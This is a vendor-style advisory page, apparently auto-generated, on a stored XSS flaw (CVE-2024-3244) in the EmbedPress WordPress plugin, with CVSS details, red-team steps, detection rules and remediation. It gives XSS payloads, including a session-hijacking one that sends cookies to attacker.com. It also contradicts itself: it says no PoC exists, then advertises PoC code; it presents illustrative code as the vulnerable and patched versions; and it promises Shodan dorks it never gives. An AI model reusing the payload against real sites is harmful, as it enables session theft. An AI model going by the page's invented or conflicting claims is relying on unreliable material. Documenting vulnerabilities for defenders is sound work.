CVE-2024-3244
Executive Summary
CVE-2024-3244 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the EmbedPress WordPress plugin, which is widely used to embed PDFs, Google Docs, videos, maps, and other documents within the Gutenberg and Elementor page builders. The flaw resides in the embedpress_calendar shortcode, affecting all versions up to and including 3.9.14. Due to insufficient input sanitization and output escaping on user-supplied attributes, authenticated attackers with at least Contributor-level access can inject arbitrary web scripts. When a victim (including administrators or site visitors) accesses a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
The vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. No public exploit code or proof-of-concept (PoC) has been released, and the patch status remains unknown. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk increases as the vulnerability becomes more widely known.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed EmbedPress from the WordPress dashboard or via direct download are at risk. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – The attacker can exploit the vulnerability remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – The attacker needs Contributor-level access or higher.
- User Interaction: None (UI:N) – The victim does not need to perform any action beyond viewing the page.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited modification of content possible.
- Availability Impact: None (A:N) – No denial-of-service impact.
Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes this a significant risk for multi-author WordPress sites.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the embedpress_calendar shortcode. The plugin fails to properly sanitize user-supplied attributes (e.g., title, description, or custom data fields) before rendering them in the HTML output. An attacker with Contributor-level access can create or edit a post/page and insert the shortcode with malicious JavaScript payloads in the attributes.
Example vulnerable shortcode usage:
[embedpress_calendar title="<script>alert('XSS')</script>"]
When the page is rendered, the unsanitized attribute is echoed directly into the HTML, causing the script to execute. Because the attack is stored in the database, any user visiting the compromised page becomes a victim.
Root Cause: The plugin uses echo $attribute or similar without applying esc_attr() or wp_kses() for output escaping, and does not validate input against a whitelist of allowed values.
Vulnerable vs. Patched Code
Vulnerable Code (example from embedpress_calendar shortcode handler):
function embedpress_calendar_shortcode($atts) {
$atts = shortcode_atts(array(
'title' => '',
'description' => '',
), $atts);
// Direct output without escaping
return '<div class="embedpress-calendar" data-title="' . $atts['title'] . '">' . $atts['description'] . '</div>';
}
Patched Code (expected fix):
function embedpress_calendar_shortcode($atts) {
$atts = shortcode_atts(array(
'title' => '',
'description' => '',
), $atts);
// Properly escape output
return '<div class="embedpress-calendar" data-title="' . esc_attr($atts['title']) . '">' . esc_html($atts['description']) . '</div>';
}
The patched version uses esc_attr() for HTML attributes and esc_html() for text content, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress site with EmbedPress plugin version <= 3.9.14.
- An account with Contributor-level privileges or higher.
Steps:
- Log in as a Contributor.
- Create a new post or edit an existing one.
- Insert the
embedpress_calendarshortcode with a malicious payload in thetitleattribute:[embedpress_calendar title="<img src=x onerror=alert(document.cookie)>"] - Publish or save the post.
- When any user (including admins) views the post, the XSS payload executes.
Advanced Payload (session hijacking):
[embedpress_calendar title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for posts/pages containing the
embedpress_calendarshortcode with suspicious attributes. - Review user activity logs for Contributor-level users creating or editing posts with unusual shortcode parameters.
- Use a Web Application Firewall (WAF) to block common XSS patterns in shortcode attributes.
Mitigation:
- Immediately update the plugin if a patch becomes available.
- If no patch exists, disable the
embedpress_calendarshortcode via a custom plugin or filter. - Restrict Contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/embedpress/(presence of vulnerable version) - Database: Posts/pages containing
[embedpress_calendarshortcode with suspicious attributes (e.g.,<script>,onerror=,javascript:) - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server (if payload exfiltrates data)
- Logs: WordPress debug logs showing unexpected shortcode attribute values
Detection Engineering
YARA Rule
rule CVE_2024_3244_EmbedPress_XSS {
meta:
description = "Detects vulnerable EmbedPress plugin files with unsanitized shortcode attributes"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-3244"
strings:
$vuln_func = /embedpress_calendar.*\$atts\[/
$unsafe_echo = /echo.*\$atts\[/
condition:
$vuln_func and $unsafe_echo
}
Sigma Rule
title: CVE-2024-3244 - Stored XSS via EmbedPress Calendar Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit Stored XSS in EmbedPress plugin via embedpress_calendar shortcode
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: 'embedpress_calendar'
http.url|contains|any:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of calendar shortcode with benign attributes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-3244 - EmbedPress Stored XSS Attempt"; flow:to_server; content:"embedpress_calendar"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin to the latest version if a patch is released.
- Disable the
embedpress_calendarshortcode by adding the following code to your theme'sfunctions.phpor a custom plugin:remove_shortcode('embedpress_calendar'); - Review and sanitize all existing posts/pages that use the
embedpress_calendarshortcode.
Long-term Measures:
- Implement a Web Application Firewall (WAF) with XSS protection rules.
- Enforce the principle of least privilege: limit Contributor-level access to trusted users.
- Regularly audit WordPress plugins for known vulnerabilities.
- Enable automatic updates for plugins when possible.
Valters IT Signature: This report was generated by Valters IT DevSecOps Intelligence. For further analysis, contact security@valters.it.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.